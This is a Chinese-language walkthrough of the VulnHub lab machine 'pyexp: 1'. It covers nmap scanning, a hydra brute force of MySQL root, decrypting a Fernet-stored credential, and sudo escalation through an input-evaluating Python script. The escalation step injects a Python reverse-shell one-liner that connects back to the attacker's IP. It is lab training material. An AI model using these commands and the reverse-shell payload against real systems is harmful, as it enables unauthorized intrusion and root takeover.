vulnhub pyexp: 1

渗透思路:

nmap扫描端口 ---- hydra爆破mysql默认用户root的密码 ---- 在数据库中发现fernet密文和密钥 ---- python解密fernet密文 ---- 利用python脚本漏洞sudo提权

环境信息:

靶机:192.168.101.95

攻击机:192.168.101.34

具体步骤:

1、nmap扫描端口

sudo nmap -sV -sC -p- 192.168.101.95

只扫描到tcp 1337(ssh)和3306(mysql)

2、hydra爆破mysql默认用户root的密码

由于nmap扫描到的信息太少了,并且ssh登录的用户名犹如大海捞针,而mysql(MariaDB)有默认用户root,所以先试试用hydra爆破mysql用户root的密码。使用字典/usr/share/wordlists/rockyou.txt.gz解压后的rockyou.txt。

hydra -l root -P "rockyou.txt" mysql://192.168.101.95

稍等一会儿,爆破出root的密码prettywoman

3、在数据库中发现fernet密文和密钥

以用户名root,密码prettywoman进入数据库

mysql -h 192.168.101.95 -u root -p

查看所有数据库,发现数据库data

MariaDB [(none)]> show databases;

进入data数据库,查看所有表,发现表fernet

MariaDB [(none)]> use data;
MariaDB [data]> show tables;

查看fernet表中的数据,发现有一条数据

MariaDB [data]> select * from fernet;

cred列的值为gAAAAABfMbX0bqWJTTdHKUYYG9U5Y6JGCpgEiLqmYIVlWB7t8gvsuayfhLOO_cHnJQF1_ibv14si1MbL7Dgt9Odk8mKHAXLhyHZplax0v02MMzh_z_eI7ys=

keyy列的值为UJ5_V_b-TWKKyzlErA96f-9aEnQEfdjFbRKt8ULjdV0=

4、python解密fernet密文

fernet是一种对称加密算法,python中fernet的用法可以在这个网页找到:

Fernet (symmetric encryption) — Cryptography 38.0.0.dev1 documentation

根据上述网页的示例,在python3 shell中(命令行执行python3即可进入)依次执行如下命令,即可得到执行结果b'lucy:wJ9`"Lemdv9[FEw-'

>>> from cryptography.fernet import Fernet
>>> key = b'UJ5_V_b-TWKKyzlErA96f-9aEnQEfdjFbRKt8ULjdV0='
>>> f = Fernet(key)
>>> token = b'gAAAAABfMbX0bqWJTTdHKUYYG9U5Y6JGCpgEiLqmYIVlWB7t8gvsuayfhLOO_cHnJQF1_ibv14si1MbL7Dgt9Odk8mKHAXLhyHZplax0v02MMzh_z_eI7ys='
>>> f.decrypt(token)
b'lucy:wJ9`"Lemdv9[FEw-'

5、利用python脚本漏洞sudo提权

尝试以用户名lucy,密码wJ9`"Lemdv9[FEw-进行ssh登录,ssh端口为1337

ssh lucy@192.168.101.95 -p 1337

登录成功后查看lucy是否可以sudo执行命令

sudo -l

发现lucy可以以root的身份sudo执行python2 /opt/exp.py

(root) NOPASSWD: /usr/bin/python2 /opt/exp.py

查看/opt/exp.py的内容,发现它把用户输入当作python语句执行,利用这点可以提权

在攻击机上nc监听8888端口

nc -nlvp 8888

靶机上执行

sudo python2 /opt/exp.py

在提示how are you?之后输入

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.101.34",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")

由于raw_input()函数默认将输入作为字符串,所以上述命令两侧不要加引号

攻击机上得到靶机root用户的shell

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值